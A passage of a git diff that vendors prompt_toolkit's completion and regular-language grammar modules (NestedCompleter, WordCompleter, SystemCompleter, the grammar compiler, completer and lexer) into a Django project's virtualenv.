Iterable[Completion]: + return self.fuzzy_completer.get_completions(document, complete_event) + + +class _FuzzyMatch(NamedTuple): + match_length: int + start_pos: int + completion: Completion diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/nested.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/nested.py new file mode 100644 index 00000000..f8656b21 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/nested.py @@ -0,0 +1,107 @@ +""" +Nestedcompleter for completion of hierarchical data structures. +""" +from typing import Any, Dict, Iterable, Mapping, Optional, Set, Union + +from prompt_toolkit.completion import CompleteEvent, Completer, Completion +from prompt_toolkit.completion.word_completer import WordCompleter +from prompt_toolkit.document import Document + +__all__ = ["NestedCompleter"] + +# NestedDict = Mapping[str, Union['NestedDict', Set[str], None, Completer]] +NestedDict = Mapping[str, Union[Any, Set[str], None, Completer]] + + +class NestedCompleter(Completer): + """ + Completer which wraps around several other completers, and calls any the + one that corresponds with the first word of the input. + + By combining multiple `NestedCompleter` instances, we can achieve multiple + hierarchical levels of autocompletion. This is useful when `WordCompleter` + is not sufficient. + + If you need multiple levels, check out the `from_nested_dict` classmethod. + """ + + def __init__( + self, options: Dict[str, Optional[Completer]], ignore_case: bool = True + ) -> None: + + self.options = options + self.ignore_case = ignore_case + + def __repr__(self) -> str: + return f"NestedCompleter({self.options!r}, ignore_case={self.ignore_case!r})" + + @classmethod + def from_nested_dict(cls, data: NestedDict) -> "NestedCompleter": + """ + Create a `NestedCompleter`, starting from a nested dictionary data + structure, like this: + + .. code:: + + data = { + 'show': { + 'version': None, + 'interfaces': None, + 'clock': None, + 'ip': {'interface': {'brief'}} + }, + 'exit': None + 'enable': None + } + + The value should be `None` if there is no further completion at some + point. If all values in the dictionary are None, it is also possible to + use a set instead. + + Values in this data structure can be a completers as well. + """ + options: Dict[str, Optional[Completer]] = {} + for key, value in data.items(): + if isinstance(value, Completer): + options[key] = value + elif isinstance(value, dict): + options[key] = cls.from_nested_dict(value) + elif isinstance(value, set): + options[key] = cls.from_nested_dict({item: None for item in value}) + else: + assert value is None + options[key] = None + + return cls(options) + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + # Split document. + text = document.text_before_cursor.lstrip() + stripped_len = len(document.text_before_cursor) - len(text) + + # If there is a space, check for the first term, and use a + # subcompleter. + if " " in text: + first_term = text.split()[0] + completer = self.options.get(first_term) + + # If we have a sub completer, use this for the completions. + if completer is not None: + remaining_text = text[len(first_term) :].lstrip() + move_cursor = len(text) - len(remaining_text) + stripped_len + + new_document = Document( + remaining_text, + cursor_position=document.cursor_position - move_cursor, + ) + + yield from completer.get_completions(new_document, complete_event) + + # No space in the input: behave exactly like `WordCompleter`. + else: + completer = WordCompleter( + list(self.options.keys()), ignore_case=self.ignore_case + ) + yield from completer.get_completions(document, complete_event) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/word_completer.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/word_completer.py new file mode 100644 index 00000000..28c133e9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/word_completer.py @@ -0,0 +1,93 @@ +from typing import Callable, Iterable, List, Mapping, Optional, Pattern, Union + +from prompt_toolkit.completion import CompleteEvent, Completer, Completion +from prompt_toolkit.document import Document +from prompt_toolkit.formatted_text import AnyFormattedText + +__all__ = [ + "WordCompleter", +] + + +class WordCompleter(Completer): + """ + Simple autocompletion on a list of words. + + :param words: List of words or callable that returns a list of words. + :param ignore_case: If True, case-insensitive completion. + :param meta_dict: Optional dict mapping words to their meta-text. (This + should map strings to strings or formatted text.) + :param WORD: When True, use WORD characters. + :param sentence: When True, don't complete by comparing the word before the + cursor, but by comparing all the text before the cursor. In this case, + the list of words is just a list of strings, where each string can + contain spaces. (Can not be used together with the WORD option.) + :param match_middle: When True, match not only the start, but also in the + middle of the word. + :param pattern: Optional compiled regex for finding the word before + the cursor to complete. When given, use this regex pattern instead of + default one (see document._FIND_WORD_RE) + """ + + def __init__( + self, + words: Union[List[str], Callable[[], List[str]]], + ignore_case: bool = False, + display_dict: Optional[Mapping[str, AnyFormattedText]] = None, + meta_dict: Optional[Mapping[str, AnyFormattedText]] = None, + WORD: bool = False, + sentence: bool = False, + match_middle: bool = False, + pattern: Optional[Pattern[str]] = None, + ) -> None: + + assert not (WORD and sentence) + + self.words = words + self.ignore_case = ignore_case + self.display_dict = display_dict or {} + self.meta_dict = meta_dict or {} + self.WORD = WORD + self.sentence = sentence + self.match_middle = match_middle + self.pattern = pattern + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + # Get list of words. + words = self.words + if callable(words): + words = words() + + # Get word/text before cursor. + if self.sentence: + word_before_cursor = document.text_before_cursor + else: + word_before_cursor = document.get_word_before_cursor( + WORD=self.WORD, pattern=self.pattern + ) + + if self.ignore_case: + word_before_cursor = word_before_cursor.lower() + + def word_matches(word: str) -> bool: + """True when the word before the cursor matches.""" + if self.ignore_case: + word = word.lower() + + if self.match_middle: + return word_before_cursor in word + else: + return word.startswith(word_before_cursor) + + for a in words: + if word_matches(a): + display = self.display_dict.get(a, a) + display_meta = self.meta_dict.get(a, "") + yield Completion( + text=a, + start_position=-len(word_before_cursor), + display=display, + display_meta=display_meta, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/completers/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/completers/__init__.py new file mode 100644 index 00000000..50ca2f91 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/completers/__init__.py @@ -0,0 +1,3 @@ +from .system import SystemCompleter + +__all__ = ["SystemCompleter"] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/completers/system.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/completers/system.py new file mode 100644 index 00000000..9e63268b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/completers/system.py @@ -0,0 +1,62 @@ +from prompt_toolkit.completion.filesystem import ExecutableCompleter, PathCompleter +from prompt_toolkit.contrib.regular_languages.compiler import compile +from prompt_toolkit.contrib.regular_languages.completion import GrammarCompleter + +__all__ = [ + "SystemCompleter", +] + + +class SystemCompleter(GrammarCompleter): + """ + Completer for system commands. + """ + + def __init__(self) -> None: + # Compile grammar. + g = compile( + r""" + # First we have an executable. + (?P[^\s]+) + + # Ignore literals in between. + ( + \s+ + ("[^"]*" | '[^']*' | [^'"]+ ) + )* + + \s+ + + # Filename as parameters. + ( + (?P[^\s]+) | + "(?P[^\s]+)" | + '(?P[^\s]+)' + ) + """, + escape_funcs={ + "double_quoted_filename": (lambda string: string.replace('"', '\\"')), + "single_quoted_filename": (lambda string: string.replace("'", "\\'")), + }, + unescape_funcs={ + "double_quoted_filename": ( + lambda string: string.replace('\\"', '"') + ), # XXX: not entirely correct. + "single_quoted_filename": (lambda string: string.replace("\\'", "'")), + }, + ) + + # Create GrammarCompleter + super().__init__( + g, + { + "executable": ExecutableCompleter(), + "filename": PathCompleter(only_directories=False, expanduser=True), + "double_quoted_filename": PathCompleter( + only_directories=False, expanduser=True + ), + "single_quoted_filename": PathCompleter( + only_directories=False, expanduser=True + ), + }, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/__init__.py new file mode 100644 index 00000000..3f306142 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/__init__.py @@ -0,0 +1,77 @@ +r""" +Tool for expressing the grammar of an input as a regular language. +================================================================== + +The grammar for the input of many simple command line interfaces can be +expressed by a regular language. Examples are PDB (the Python debugger); a +simple (bash-like) shell with "pwd", "cd", "cat" and "ls" commands; arguments +that you can pass to an executable; etc. It is possible to use regular +expressions for validation and parsing of such a grammar. (More about regular +languages: http://en.wikipedia.org/wiki/Regular_language) + +Example +------- + +Let's take the pwd/cd/cat/ls example. We want to have a shell that accepts +these three commands. "cd" is followed by a quoted directory name and "cat" is +followed by a quoted file name. (We allow quotes inside the filename when +they're escaped with a backslash.) We could define the grammar using the +following regular expression:: + + grammar = \s* ( + pwd | + ls | + (cd \s+ " ([^"]|\.)+ ") | + (cat \s+ " ([^"]|\.)+ ") + ) \s* + + +What can we do with this grammar? +--------------------------------- + +- Syntax highlighting: We could use this for instance to give file names + different colour. +- Parse the result: .. We can extract the file names and commands by using a + regular expression with named groups. +- Input validation: .. Don't accept anything that does not match this grammar. + When combined with a parser, we can also recursively do + filename validation (and accept only existing files.) +- Autocompletion: .... Each part of the grammar can have its own autocompleter. + "cat" has to be completed using file names, while "cd" + has to be completed using directory names. + +How does it work? +----------------- + +As a user of this library, you have to define the grammar of the input as a +regular expression. The parts of this grammar where autocompletion, validation +or any other processing is required need to be marked using a regex named +group. Like ``(?P...)`` for instance. + +When the input is processed for validation (for instance), the regex will +execute, the named group is captured, and the validator associated with this +named group will test the captured string. + +There is one tricky bit: + + Often we operate on incomplete input (this is by definition the case for + autocompletion) and we have to decide for the cursor position in which + possible state the grammar it could be and in which way variables could be + matched up to that point. + +To solve this problem, the compiler takes the original regular expression and +translates it into a set of other regular expressions which each match certain +prefixes of the original regular expression. We generate one prefix regular +expression for every named variable (with this variable being the end of that +expression). + + +TODO: some examples of: + - How to create a highlighter from this grammar. + - How to create a validator from this grammar. + - How to create an autocompleter from this grammar. + - How to create a parser from this grammar. +""" +from .compiler import compile + +__all__ = ["compile"] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/compiler.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/compiler.py new file mode 100644 index 00000000..fed78498 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/compiler.py @@ -0,0 +1,574 @@ +r""" +Compiler for a regular grammar. + +Example usage:: + + # Create and compile grammar. + p = compile('add \s+ (?P[^\s]+) \s+ (?P[^\s]+)') + + # Match input string. + m = p.match('add 23 432') + + # Get variables. + m.variables().get('var1') # Returns "23" + m.variables().get('var2') # Returns "432" + + +Partial matches are possible:: + + # Create and compile grammar. + p = compile(''' + # Operators with two arguments. + ((?P[^\s]+) \s+ (?P[^\s]+) \s+ (?P[^\s]+)) | + + # Operators with only one arguments. + ((?P[^\s]+) \s+ (?P[^\s]+)) + ''') + + # Match partial input string. + m = p.match_prefix('add 23') + + # Get variables. (Notice that both operator1 and operator2 contain the + # value "add".) This is because our input is incomplete, and we don't know + # yet in which rule of the regex we we'll end up. It could also be that + # `operator1` and `operator2` have a different autocompleter and we want to + # call all possible autocompleters that would result in valid input.) + m.variables().get('var1') # Returns "23" + m.variables().get('operator1') # Returns "add" + m.variables().get('operator2') # Returns "add" + +""" +import re +from typing import Callable, Dict, Iterable, Iterator, List +from typing import Match as RegexMatch +from typing import Optional, Pattern, Tuple + +from .regex_parser import ( + AnyNode, + Lookahead, + Node, + NodeSequence, + Regex, + Repeat, + Variable, + parse_regex, + tokenize_regex, +) + +__all__ = [ + "compile", +] + + +# Name of the named group in the regex, matching trailing input. +# (Trailing input is when the input contains characters after the end of the +# expression has been matched.) +_INVALID_TRAILING_INPUT = "invalid_trailing" + +EscapeFuncDict = Dict[str, Callable[[str], str]] + + +class _CompiledGrammar: + """ + Compiles a grammar. This will take the parse tree of a regular expression + and compile the grammar. + + :param root_node: :class~`.regex_parser.Node` instance. + :param escape_funcs: `dict` mapping variable names to escape callables. + :param unescape_funcs: `dict` mapping variable names to unescape callables. + """ + + def __init__( + self, + root_node: Node, + escape_funcs: Optional[EscapeFuncDict] = None, + unescape_funcs: Optional[EscapeFuncDict] = None, + ) -> None: + + self.root_node = root_node + self.escape_funcs = escape_funcs or {} + self.unescape_funcs = unescape_funcs or {} + + #: Dictionary that will map the regex names to Node instances. + self._group_names_to_nodes: Dict[ + str, str + ] = {} # Maps regex group names to varnames. + counter = [0] + + def create_group_func(node: Variable) -> str: + name = "n%s" % counter[0] + self._group_names_to_nodes[name] = node.varname + counter[0] += 1 + return name + + # Compile regex strings. + self._re_pattern = "^%s$" % self._transform(root_node, create_group_func) + self._re_prefix_patterns = list( + self._transform_prefix(root_node, create_group_func) + ) + + # Compile the regex itself. + flags = re.DOTALL # Note that we don't need re.MULTILINE! (^ and $ + # still represent the start and end of input text.) + self._re = re.compile(self._re_pattern, flags) + self._re_prefix = [re.compile(t, flags) for t in self._re_prefix_patterns] + + # We compile one more set of regexes, similar to `_re_prefix`, but accept any trailing + # input. This will ensure that we can still highlight the input correctly, even when the + # input contains some additional characters at the end that don't match the grammar.) + self._re_prefix_with_trailing_input = [ + re.compile( + r"(?:{})(?P<{}>.*?)$".format(t.rstrip("$"), _INVALID_TRAILING_INPUT), + flags, + ) + for t in self._re_prefix_patterns + ] + + def escape(self, varname: str, value: str) -> str: + """ + Escape `value` to fit in the place of this variable into the grammar. + """ + f = self.escape_funcs.get(varname) + return f(value) if f else value + + def unescape(self, varname: str, value: str) -> str: + """ + Unescape `value`. + """ + f = self.unescape_funcs.get(varname) + return f(value) if f else value + + @classmethod + def _transform( + cls, root_node: Node, create_group_func: Callable[[Variable], str] + ) -> str: + """ + Turn a :class:`Node` object into a regular expression. + + :param root_node: The :class:`Node` instance for which we generate the grammar. + :param create_group_func: A callable which takes a `Node` and returns the next + free name for this node. + """ + + def transform(node: Node) -> str: + # Turn `AnyNode` into an OR. + if isinstance(node, AnyNode): + return "(?:%s)" % "|".join(transform(c) for c in node.children) + + # Concatenate a `NodeSequence` + elif isinstance(node, NodeSequence): + return "".join(transform(c) for c in node.children) + + # For Regex and Lookahead nodes, just insert them literally. + elif isinstance(node, Regex): + return node.regex + + elif isinstance(node, Lookahead): + before = "(?!" if node.negative else "(=" + return before + transform(node.childnode) + ")" + + # A `Variable` wraps the children into a named group. + elif isinstance(node, Variable): + return "(?P<{}>{})".format( + create_group_func(node), + transform(node.childnode), + ) + + # `Repeat`. + elif isinstance(node, Repeat): + if node.max_repeat is None: + if node.min_repeat == 0: + repeat_sign = "*" + elif node.min_repeat == 1: + repeat_sign = "+" + else: + repeat_sign = "{%i,%s}" % ( + node.min_repeat, + ("" if node.max_repeat is None else str(node.max_repeat)), + ) + + return "(?:{}){}{}".format( + transform(node.childnode), + repeat_sign, + ("" if node.greedy else "?"), + ) + else: + raise TypeError(f"Got {node!r}") + + return transform(root_node) + + @classmethod + def _transform_prefix( + cls, root_node: Node, create_group_func: Callable[[Variable], str] + ) -> Iterable[str]: + """ + Yield all the regular expressions matching a prefix of the grammar + defined by the `Node` instance. + + For each `Variable`, one regex pattern will be generated, with this + named group at the end. This is required because a regex engine will + terminate once a match is found. For autocompletion however, we need + the matches for all possible paths, so that we can provide completions + for each `Variable`. + + - So, in the case of an `Any` (`A|B|C)', we generate a pattern for each + clause. This is one for `A`, one for `B` and one for `C`. Unless some + groups don't contain a `Variable`, then these can be merged together. + - In the case of a `NodeSequence` (`ABC`), we generate a pattern for + each prefix that ends with a variable, and one pattern for the whole + sequence. So, that's one for `A`, one for `AB` and one for `ABC`. + + :param root_node: The :class:`Node` instance for which we generate the grammar. + :param create_group_func: A callable which takes a `Node` and returns the next + free name for this node. + """ + + def contains_variable(node: Node) -> bool: + if isinstance(node, Regex): + return False + elif isinstance(node, Variable): + return True + elif isinstance(node, (Lookahead, Repeat)): + return contains_variable(node.childnode) + elif isinstance(node, (NodeSequence, AnyNode)): + return any(contains_variable(child) for child in node.children) + + return False + + def transform(node: Node) -> Iterable[str]: + # Generate separate pattern for all terms that contain variables + # within this OR. Terms that don't contain a variable can be merged + # together in one pattern. + if isinstance(node, AnyNode): + # If we have a definition like: + # (?P .*) | (?P .*) + # Then we want to be able to generate completions for both the + # name as well as the city. We do this by yielding two + # different regular expressions, because the engine won't + # follow multiple paths, if multiple are possible. + children_with_variable = [] + children_without_variable = [] + for c in node.children: + if contains_variable(c): + children_with_variable.append(c) + else: + children_without_variable.append(c) + + for c in children_with_variable: + yield from transform(c) + + # Merge options without variable together. + if children_without_variable: + yield "|".join( + r for c in children_without_variable for r in transform(c) + ) + + # For a sequence, generate a pattern for each prefix that ends with + # a variable + one pattern of the complete sequence. + # (This is because, for autocompletion, we match the text before + # the cursor, and completions are given for the variable that we + # match right before the cursor.) + elif isinstance(node, NodeSequence): + # For all components in the sequence, compute prefix patterns, + # as well as full patterns. + complete = [cls._transform(c, create_group_func) for c in node.children] + prefixes = [list(transform(c)) for c in node.children] + variable_nodes = [contains_variable(c) for c in node.children] + + # If any child is contains a variable, we should yield a + # pattern up to that point, so that we are sure this will be + # matched. + for i in range(len(node.children)): + if variable_nodes[i]: + for c_str in prefixes[i]: + yield "".join(complete[:i]) + c_str + + # If there are non-variable nodes, merge all the prefixes into + # one pattern. If the input is: "[part1] [part2] [part3]", then + # this gets compiled into: + # (complete1 + (complete2 + (complete3 | partial3) | partial2) | partial1 ) + # For nodes that contain a variable, we skip the "|partial" + # part here, because thees are matched with the previous + # patterns. + if not all(variable_nodes): + result = [] + + # Start with complete patterns. + for i in range(len(node.children)): + result.append("(?:") + result.append(complete[i]) + + # Add prefix patterns. + for i in range(len(node.children) - 1, -1, -1): + if variable_nodes[i]: + # No need to yield a prefix for this one, we did + # the variable prefixes earlier. + result.append(")") + else: + result.append("|(?:") + # If this yields multiple, we should yield all combinations. + assert len(prefixes[i]) == 1 + result.append(prefixes[i][0]) + result.append("))") + + yield "".join(result) + + elif isinstance(node, Regex): + yield "(?:%s)?" % node.regex + + elif isinstance(node, Lookahead): + if node.negative: + yield "(?!%s)" % cls._transform(node.childnode, create_group_func) + else: + # Not sure what the correct semantics are in this case. + # (Probably it's not worth implementing this.) + raise Exception("Positive lookahead not yet supported.") + + elif isinstance(node, Variable): + # (Note that we should not append a '?' here. the 'transform' + # method will already recursively do that.) + for c_str in transform(node.childnode): + yield f"(?P<{create_group_func(node)}>{c_str})" + + elif isinstance(node, Repeat): + # If we have a repetition of 8 times. That would mean that the + # current input could have for instance 7 times a complete + # match, followed by a partial match. + prefix = cls._transform(node.childnode, create_group_func) + + if node.max_repeat == 1: + yield from transform(node.childnode) + else: + for c_str in transform(node.childnode): + if node.max_repeat: + repeat_sign = "{,%i}" % (node.max_repeat - 1) + else: + repeat_sign = "*" + yield "(?:{}){}{}{}".format( + prefix, + repeat_sign, + ("" if node.greedy else "?"), + c_str, + ) + + else: + raise TypeError("Got %r" % node) + + for r in transform(root_node): + yield "^(?:%s)$" % r + + def match(self, string: str) -> Optional["Match"]: + """ + Match the string with the grammar. + Returns a :class:`Match` instance or `None` when the input doesn't match the grammar. + + :param string: The input string. + """ + m = self._re.match(string) + + if m: + return Match( + string, [(self._re, m)], self._group_names_to_nodes, self.unescape_funcs + ) + return None + + def match_prefix(self, string: str) -> Optional["Match"]: + """ + Do a partial match of the string with the grammar. The returned + :class:`Match` instance can contain multiple representations of the + match. This will never return `None`. If it doesn't match at all, the "trailing input" + part will capture all of the input. + + :param string: The input string. + """ + # First try to match using `_re_prefix`. If nothing is found, use the patterns that + # also accept trailing characters. + for patterns in [self._re_prefix, self._re_prefix_with_trailing_input]: + matches = [(r, r.match(string)) for r in patterns] + matches2 = [(r, m) for r, m in matches if m] + + if matches2 != []: + return Match( + string, matches2, self._group_names_to_nodes, self.unescape_funcs + ) + + return None + + +class Match: + """ + :param string: The input string. + :param re_matches: List of (compiled_re_pattern, re_match) tuples. + :param group_names_to_nodes: Dictionary mapping all the re group names to the matching Node instances. + """ + + def __init__( + self, + string: str, + re_matches: List[Tuple[Pattern[str], RegexMatch[str]]], + group_names_to_nodes: Dict[str, str], + unescape_funcs: Dict[str, Callable[[str], str]], + ): + self.string = string + self._re_matches = re_matches + self._group_names_to_nodes = group_names_to_nodes + self._unescape_funcs = unescape_funcs + + def _nodes_to_regs(self) -> List[Tuple[str, Tuple[int, int]]]: + """ + Return a list of (varname, reg) tuples. + """ + + def get_tuples() -> Iterable[Tuple[str, Tuple[int, int]]]: + for r, re_match in self._re_matches: + for group_name, group_index in r.groupindex.items(): + if group_name != _INVALID_TRAILING_INPUT: + regs = re_match.regs + reg = regs[group_index] + node = self._group_names_to_nodes[group_name] + yield (node, reg) + + return list(get_tuples()) + + def _nodes_to_values(self) -> List[Tuple[str, str, Tuple[int, int]]]: + """ + Returns list of (Node, string_value) tuples. + """ + + def is_none(sl: Tuple[int, int]) -> bool: + return sl[0] == -1 and sl[1] == -1 + + def get(sl: Tuple[int, int]) -> str: + return self.string[sl[0] : sl[1]] + + return [ + (varname, get(slice), slice) + for varname, slice in self._nodes_to_regs() + if not is_none(slice) + ] + + def _unescape(self, varname: str, value: str) -> str: + unwrapper = self._unescape_funcs.get(varname) + return unwrapper(value) if unwrapper else value + + def variables(self) -> "Variables": + """ + Returns :class:`Variables` instance. + """ + return Variables( + [(k, self._unescape(k, v), sl) for k, v, sl in self._nodes_to_values()] + ) + + def trailing_input(self) -> Optional["MatchVariable"]: + """ + Get the `MatchVariable` instance, representing trailing input, if there is any. + "Trailing input" is input at the end that does not match the grammar anymore, but + when this is removed from the end of the input, the input would be a valid string. + """ + slices: List[Tuple[int, int]] = [] + + # Find all regex group for the name _INVALID_TRAILING_INPUT. + for r, re_match in self._re_matches: + for group_name, group_index in r.groupindex.items(): + if group_name == _INVALID_TRAILING_INPUT: + slices.append(re_match.regs[group_index]) + + # Take the smallest part. (Smaller trailing text means that a larger input has + # been matched, so that is better.) + if slices: + slice = (max(i[0] for i in slices), max(i[1] for i in slices)) + value = self.string[slice[0] : slice[1]] + return MatchVariable("", value, slice) + return None + + def end_nodes(self) -> Iterable["MatchVariable"]: + """ + Yields `MatchVariable` instances for all the nodes having their end + position at the end of the input string. + """ + for varname, reg in self._nodes_to_regs(): + # If this part goes until the end of the input string. + if reg[1] == len(self.string): + value = self._unescape(varname, self.string[reg[0] : reg[1]]) + yield MatchVariable(varname, value, (reg[0], reg[1])) + + +class Variables: + def __init__(self, tuples: List[Tuple[str, str, Tuple[int, int]]]) -> None: + #: List of (varname, value, slice) tuples. + self._tuples = tuples + + def __repr__(self) -> str: + return "{}({})".format( + self.__class__.__name__, + ", ".join(f"{k}={v!r}" for k, v, _ in self._tuples), + ) + + def get(self, key: str, default: Optional[str] = None) -> Optional[str]: + items = self.getall(key) + return items[0] if items else default + + def getall(self, key: str) -> List[str]: + return [v for k, v, _ in self._tuples if k == key] + + def __getitem__(self, key: str) -> Optional[str]: + return self.get(key) + + def __iter__(self) -> Iterator["MatchVariable"]: + """ + Yield `MatchVariable` instances. + """ + for varname, value, slice in self._tuples: + yield MatchVariable(varname, value, slice) + + +class MatchVariable: + """ + Represents a match of a variable in the grammar. + + :param varname: (string) Name of the variable. + :param value: (string) Value of this variable. + :param slice: (start, stop) tuple, indicating the position of this variable + in the input string. + """ + + def __init__(self, varname: str, value: str, slice: Tuple[int, int]) -> None: + self.varname = varname + self.value = value + self.slice = slice + + self.start = self.slice[0] + self.stop = self.slice[1] + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.varname!r}, {self.value!r})" + + +def compile( + expression: str, + escape_funcs: Optional[EscapeFuncDict] = None, + unescape_funcs: Optional[EscapeFuncDict] = None, +) -> _CompiledGrammar: + """ + Compile grammar (given as regex string), returning a `CompiledGrammar` + instance. + """ + return _compile_from_parse_tree( + parse_regex(tokenize_regex(expression)), + escape_funcs=escape_funcs, + unescape_funcs=unescape_funcs, + ) + + +def _compile_from_parse_tree( + root_node: Node, + escape_funcs: Optional[EscapeFuncDict] = None, + unescape_funcs: Optional[EscapeFuncDict] = None, +) -> _CompiledGrammar: + """ + Compile grammar (given as parse tree), returning a `CompiledGrammar` + instance. + """ + return _CompiledGrammar( + root_node, escape_funcs=escape_funcs, unescape_funcs=unescape_funcs + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/completion.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/completion.py new file mode 100644 index 00000000..3cebcc03 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/completion.py @@ -0,0 +1,93 @@ +""" +Completer for a regular grammar. +""" +from typing import Dict, Iterable, List + +from prompt_toolkit.completion import CompleteEvent, Completer, Completion +from prompt_toolkit.document import Document + +from .compiler import Match, _CompiledGrammar + +__all__ = [ + "GrammarCompleter", +] + + +class GrammarCompleter(Completer): + """ + Completer which can be used for autocompletion according to variables in + the grammar. Each variable can have a different autocompleter. + + :param compiled_grammar: `GrammarCompleter` instance. + :param completers: `dict` mapping variable names of the grammar to the + `Completer` instances to be used for each variable. + """ + + def __init__( + self, compiled_grammar: _CompiledGrammar, completers: Dict[str, Completer] + ) -> None: + + self.compiled_grammar = compiled_grammar + self.completers = completers + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + m = self.compiled_grammar.match_prefix(document.text_before_cursor) + + if m: + completions = self._remove_duplicates( + self._get_completions_for_match(m, complete_event) + ) + + yield from completions + + def _get_completions_for_match( + self, match: Match, complete_event: CompleteEvent + ) -> Iterable[Completion]: + """ + Yield all the possible completions for this input string. + (The completer assumes that the cursor position was at the end of the + input string.) + """ + for match_variable in match.end_nodes(): + varname = match_variable.varname + start = match_variable.start + + completer = self.completers.get(varname) + + if completer: + text = match_variable.value + + # Unwrap text. + unwrapped_text = self.compiled_grammar.unescape(varname, text) + + # Create a document, for the completions API (text/cursor_position) + document = Document(unwrapped_text, len(unwrapped_text)) + + # Call completer + for completion in completer.get_completions(document, complete_event): + new_text = ( + unwrapped_text[: len(text) + completion.start_position] + + completion.text + ) + + # Wrap again. + yield Completion( + text=self.compiled_grammar.escape(varname, new_text), + start_position=start - len(match.string), + display=completion.display, + display_meta=completion.display_meta, + ) + + def _remove_duplicates(self, items: Iterable[Completion]) -> List[Completion]: + """ + Remove duplicates, while keeping the order. + (Sometimes we have duplicates, because the there several matches of the + same grammar, each yielding similar completions.) + """ + result: List[Completion] = [] + for i in items: + if i not in result: + result.append(i) + return result diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/lexer.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/lexer.py new file mode 100644 index 00000000..1ddeede8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/lexer.py @@ -0,0 +1,92 @@ +""" +`GrammarLexer` is compatible with other lexers and can be used to highlight +the input using a regular grammar with annotations. +""" +from typing import Callable, Dict, Optional + +from prompt_toolkit.document import Document +from prompt_toolkit.formatted_text.base import StyleAndTextTuples +from prompt_toolkit.formatted_text.utils import split_lines +from prompt_toolkit.lexers import Lexer + +from .compiler import _CompiledGrammar + +__all__ = [ + "GrammarLexer", +] + + +class GrammarLexer(Lexer): + """ + Lexer which can be used for highlighting of fragments according to variables in the grammar. + + (It does not actual lexing of the string, but it exposes an API, compatible + with the Pygments lexer class.) + + :param compiled_grammar: Grammar as returned by the `compile()` function. + :param lexers: Dictionary mapping variable names of the regular grammar to + the lexers that should be used for this part. (This can + call other lexers recursively.) If you wish a part of the + grammar to just get one fragment, use a + `prompt_toolkit.lexers.SimpleLexer`. + """ + + def __init__( + self, + compiled_grammar: _CompiledGrammar, + default_style: str = "", + lexers: Optional[Dict[str, Lexer]] = None, + ) -> None: + + self.compiled_grammar = compiled_grammar + self.default_style = default_style + self.lexers = lexers or {} + + def _get_text_fragments(self, text: str) -> StyleAndTextTuples: + m = self.compiled_grammar.match_prefix(text) + + if m: + characters: StyleAndTextTuples = [(self.default_style, c) for c in text] + + for v in m.variables(): + # If we have a `Lexer` instance for this part of the input. + # Tokenize recursively and apply tokens. + lexer = self.lexers.get(v.varname) + + if lexer: + document = Document(text[v.start : v.stop]) + lexer_tokens_for_line = lexer.lex_document(document) + text_fragments: StyleAndTextTuples = [] + for i in range(len(document.lines)): + text_fragments.extend(lexer_tokens_for_line(i)) + text_fragments.append(("", "\n")) + if text_fragments: + text_fragments.pop() + + i = v.start + for t, s, *_ in text_fragments: + for c in s: + if characters[i][0] == self.default_style: + characters[i] = (t, characters[i][1]) + i += 1 + + # Highlight trailing input. + trailing_input = m.trailing_input() + if trailing_input: + for i in range(trailing_input.start, trailing_input.stop): + characters[i] = ("class:trailing-input", characters[i][1]) + + return characters + else: + return [("", text)] + + def lex_document(self, document: Document) -> Callable[[int], StyleAndTextTuples]: + lines = list(split_lines(self._get_text_fragments(document.text))) + + def get_line(lineno: int) -> StyleAndTextTuples: + try: + return lines[lineno] + except IndexError: + return [] + + return get_line diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/regex_parser.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/regex_parser.py new file mode 100644 index 00000000..87e39d49 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/regex_parser.py @@ -0,0 +1,281 @@ +""" +Parser for parsing a regular expression. +Take a string representing a regular expression and return the root node of its +parse tree. + +usage:: + + root_node = parse_regex('(hello|world)') + +Remarks: +- The regex parser processes multiline, it ignores all whitespace and supports + multiple named groups with the same name and #-style comments. + +Limitations: +- Lookahead is not supported. +""" +import re +from typing import List, Optional + +__all__ = [ + "Repeat", + "Variable", + "Regex", + 